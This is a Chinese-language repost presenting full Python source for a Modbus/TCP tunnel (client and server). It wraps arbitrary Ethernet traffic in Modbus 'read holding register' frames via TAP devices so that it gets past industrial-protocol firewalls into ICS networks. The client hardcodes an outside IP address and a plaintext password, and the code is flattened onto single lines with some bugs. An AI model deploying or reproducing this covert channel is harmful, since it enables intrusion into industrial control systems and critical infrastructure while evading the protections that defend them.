程序以python编写,可以透过Modbus / TCP通讯协定传送任意以太网流量。它可以帮助安全研究人员顺利规避针对工业协议剥离类型的防火墙。
可以将任意流量传递到工业网络。对于防火墙,你的流量似乎是“读取、保持、注册”命令。
在防火墙“后”的系统上运行modbus-server.py。
在防火墙“前”的网络上运行modbus-client.py。
注意:
执行的一切以太网命令的数据包,只能在每个modbus帧中压缩3个字节
所以,会增加穿透流量的150ms延迟,并且带宽不会很大。
所以尽量的去精简你的命令操作。
modbus-client.py
from twisted.internet import reactor from twisted.internet.protocol import Factory, Protocol, ClientFactory#from twisted.internet.endpoints import TCP4ClientEndpointfrom sys import stdoutimport modbusimport sysimport structimport threadingfrom threading import Threadimport timeimport osimport fcntlimport subprocess TUNSETIFF = 0x400454caTUNSETOWNER = TUNSETIFF + 2IFF_TUN = 0x0001IFF_TAP = 0x0002IFF_NO_PI = 0x1000 class modbusClient(Protocol): def connectionMade(self): self._tapBuff = "" self._mbDataToWrite = "" self._mbBuffLock = threading.Lock() self._tapBuffLock = threading.Lock() self._tapLock = threading.Lock() self._mbParseLock = threading.Lock() self._decoder = modbus.ModbusDecoder() print "sending login" self.sendMessage("login secret") #print "starting command thread" #self._commandThread = Thread(target = self.commandLoop, args = []) #self._commandThread.start() print "starting query thread" self._queryThread = Thread(target = self.pollLoop) # adjust accordingly self._queryThread.start() print "opening tap" self._tap = open('/dev/net/tun', 'w+b') self._ifr = struct.pack('16sH', 'tap1', IFF_TAP | IFF_NO_PI) fcntl.ioctl(self._tap, TUNSETIFF, self._ifr) # need to make the tap device nonblocking tapfd = self._tap.fileno() tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL) fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK) # Optionally, we want it be accessed by the normal user. fcntl.ioctl(self._tap, TUNSETOWNER, 1000) # subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up', subprocess.check_call('ifconfig tap1 192.168.7.2 netmask 255.255.255.0', shell=True) print "starting tap thread" self._tapThread = Thread(target = self.handle_tap, args = []) self._tapThread.start() def commandLoop(self): while True: try: mycommand = raw_input("cl> ") reactor.callFromThread(self.sendMessage, mycommand) except: print "Exiting command loop" exit(1) def handle_tap(self): while True: self._tapLock.acquire() try: # because it's nonblock, this will throw exception when no data is available packet = list(os.read(self._tap.fileno(), 2048)) except: # todo: only catch the exceptions we want! packet = [] if len(packet) > 0: self._mbBuffLock.acquire() for byte in packet: self._mbDataToWrite += byte self._mbBuffLock.release() self._tapLock.release() if self._tapBuff != "": print "tap out: ", self._tapBuff self._tapBuffLock.acquire() self._tapLock.acquire() os.write(self._tap.fileno(), self._tapBuff) self._tapBuff = "" self._tapLock.release() self._tapBuffLock.release() def tapLoop(self): # keep reading from the tap device packet = list(os.read(self._tap.fileno(), 2048)) # put any packet data onto our _dataToWrite queue # need to keep a semaphore so that the poll loop is assured # to delete data from the dataToWrite this._tapBuffLock.acquire() this._mbDataToWrite.append(packet) this._tapBuffLock.release() def pollLoop(self, delay=0.1): print "poll loop starting up" while True: if self._mbDataToWrite != "": # send the data # Couldn't I just use the print "had modbus data to write, calling from main thread" self._mbBuffLock.acquire() reactor.callFromThread(self.sendMessage, self._mbDataToWrite) self._mbDataToWrite = "" self._mbBuffLock.release() else: # send a probe #print "sending poll" reactor.callFromThread(self.sendProbe) time.sleep(delay) def sendProbe(self): # generate a Modbus frame that means "probe!" packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = "", probe = True) for packet in packets: self.transport.write(packet) def dataReceived(self, data): self._mbParseLock.acquire() if self._decoder.decodeModbus(data): #print "request complete" # Packet is now complete commandData = self._decoder.getReconstructedPacket() while commandData != None: self.dealWithData(commandData)#, data) commandData = self._decoder.getReconstructedPacket() else: # our _decoder's state will be updated with partial packet self._mbParseLock.release() return #self._mbDatabuff += data #print "waiting on more frames" self._mbParseLock.release() def dealWithData(self, commandData):#, rawdata): #packets = self._decoder.decodeAllPackets(rawdata) # we may have been dealing with command data if commandData != "x00x00x01": # just a probe #print "got command?: ", #for byte in commandData: # print hex(ord(byte)), #print "" tlen = commandData.find('x00') if tlen == -1: tlen = len(commandData) tcmd = commandData[0:tlen] if "help" == tcmd: print "sending help" self._mbBuffLock.acquire() self._mbDataToWrite += "help: not available :)" self._buffLock.release() elif "login success" in tcmd: print "succeeded login, continuing" else: print "bad command, may be data to send" #self._mbBuffLock.acquire() #self._mbDataToWrite += tcmd + ": invalid command" #self._mbBuffLock.release() # actual binary data, send to tap self._tapBuffLock.acquire() self._tapBuff += commandData self._tapBuffLock.release() #print "data added to queue" # should also clear buffer, non? else: # actual binary data, send to tap self._tapBuffLock.acquire() self._tapBuff += commandData self._tapBuffLock.release() def sendMessage(self, msg): #print "encrapsulating ", msg packets = modbus.encodeModbus(tid = 0x00, fc = 0x3, db = msg) for packet in packets: #print "sending: " + packet self.transport.write(packet) class modbusClientFactory(ClientFactory): protocol = modbusClient def sendMessage(self, data): self.protocol.sendMessage(data) def notThreadSafe(x): """do something that isn't thread-safe""" # ... print "I am in a thread" def threadSafeScheduler(): """Run in thread-safe manner.""" reactor.callFromThread(notThreadSafe, 3) # will run 'notThreadSafe(3)' # in the event loop def commandLoop(): while True: command = input("> ") reactor.callInThread(f.sendMessage, command) # TODO make this connect to acttual hostsf = modbusClientFactory()reactor.connectTCP("66.228.57.244", 502, f)#reactor.callInThread(commandLoop)try: reactor.run()except: print "exception caught, exiting" exit(1)
modbus-server.py
from twisted.internet import protocol, reactorimport structimport modbusimport fcntlimport osimport subprocessimport threading TUNSETIFF = 0x400454caTUNSETOWNER = TUNSETIFF + 2IFF_TUN = 0x0001IFF_TAP = 0x0002IFF_NO_PI = 0x1000 class ModbusTunneler(protocol.Protocol): # this method runs in a thread and handles data from the _tap device # it sends data to the tap device and receives data from the tap device def handle_tap(self): while True: self._tapLock.acquire() try: packet = list(os.read(self._tap.fileno(), 2048)) except: packet = [] if len(packet) > 0: self._mbBuffLock.acquire() print "got tap data, sending via modbus" for byte in packet: self._mbDataToWrite += byte self._mbBuffLock.release() self._tapLock.release() self._tapBuffLock.acquire() if self._tapBuff!= "": print "handle_tap: putting data on wire: ", self._tapBuff self._tapLock.acquire() # maybe I don't have to callFromThread here? there shouldn't # be any contention over this device... os.write(self._tap.fileno(), self._tapBuff) #tapbuff is a string self._tapBuff = "" self._tapLock.release() self._tapBuffLock.release() def __init__(self, password): print "init" self._tapBuff = "" # tapbufflock is for the tap buffer (data to write to the tap interface) self._tapBuffLock = threading.Lock() # mbBuffLock is for the modbus buffer (data to write via Modbus) self._mbBuffLock = threading.Lock() # Trying to find an issue with a new packet coming in before the last packet # has finished processing...this may open a new thread? self._mbParseLock = threading.Lock() # Note that reading data from the tap and reading via modbus # do not require locks # not sure if we really need a taplock since it # should all run in one thread anyway self._tapLock = threading.Lock() self._decoder = modbus.ModbusDecoder() self._loggedIn = False self._password = password self._mbDataToWrite = "" self._databuff = "" print "opening tap" self._tap = open('/dev/net/tun', 'w+b') self._ifr = struct.pack('16sH', 'tap0', IFF_TAP | IFF_NO_PI) fcntl.ioctl(self._tap, TUNSETIFF, self._ifr) # need to make the tap device nonblocking tapfd = self._tap.fileno() tapfl = fcntl.fcntl(tapfd, fcntl.F_GETFL) fcntl.fcntl(tapfd, fcntl.F_SETFL, tapfl | os.O_NONBLOCK) # Optionally, we want it be accessed by the normal user. fcntl.ioctl(self._tap, TUNSETOWNER, 1000) # subprocess.check_call('ifconfig tun0 192.168.7.1 pointopoint 192.168.7.2 up', subprocess.check_call('ifconfig tap0 192.168.7.1 netmask 255.255.255.0', shell=True) self._mbDataToWrite = "ip 192.168.7.2 255.255.255.0" print "starting tap thread" self._tapThread = threading.Thread(target = self.handle_tap, args = []) self._tapThread.start() def verify_login(self, payload): print "Verifying login of ", payload print "--> Hex: ", for byte in payload: print hex(ord(byte)) if ("login " + self._password) in payload: print "...verified!" self._mbDataToWrite = "login success" return True else: return False # is this thread-safe?? Can it be called from multiple threads?? def dataReceived(self, data): self._mbParseLock.acquire() if self._decoder.decodeModbus(data): # modbus decoded at least one entire tap frame # so we should play with that frame #print "request complete" # Packet is now complete commandData = self._decoder.getReconstructedPacket() while commandData != None: # the packet will be the most recent one on the stack if self._loggedIn == False: if self.verify_login(commandData): self._loggedIn = True else: self.dealWithData(commandData) commandData = self._decoder.getReconstructedPacket() else: self._databuff += data #print "waiting on more frames" # really need to queue up reply packets in a more meaningful way # right now we'll just send them all out willy-nilly, would # be nice to make them blend in more self._mbParseLock.release() if self._mbDataToWrite != "": print "sending encrapsulated modbus packet back" # send as much of it as we can self.writeData() def dealWithData(self, commandData): #packets = self._decoder.decodeAllPackets(rawdata) # we may have been dealing with command data if commandData != "x00x00x01": # just a probe print "got command?: ", for byte in commandData: print hex(ord(byte)), print "" tlen = commandData.find('x00') if tlen == -1: tlen = len(commandData) tcmd = commandData[0:tlen] if "help" == tcmd: print "sending help" self._mbBuffLock.acquire() self._mbDataToWrite += "help: not available :)" self._mbBuffLock.release() else: print "bad command, may be data to send" #self._mbBuffLock.acquire() #self._mbDataToWrite += tcmd + ": invalid command" #self._mbBuffLock.release() # actual binary data, send to tap self._tapBuffLock.acquire() self._tapBuff += commandData self._tapBuffLock.release() print "data added to queue" # should also clear buffer, non? # Write as many bytes as we can of the data, then move our _dataToWrite # Need to fix this up so it looks more like responses to the queries # that are coming in (put in proper register ranges, etc, will slow it down) def writeData(self): self._mbBuffLock.acquire() packets = modbus.encodeModbus(tid = 0x0, fc = 0x3, db = self._mbDataToWrite) print "replying with", len(packets), "packets" for packet in packets: self.transport.write(packet) print "done sending", len(packets), "replies, zeroing out buffer" self._mbDataToWrite = "" self._mbBuffLock.release() class ModbusTunnelerFactory(protocol.Factory): def __init__(self, password): self._password = password def buildProtocol(self, addr): print "Got new client" return ModbusTunneler(self._password) reactor.listenTCP(502, ModbusTunnelerFactory("secret"))reactor.run()
本文来源于互联网:ics渗透中你总会用到-穿透工业隔离网闸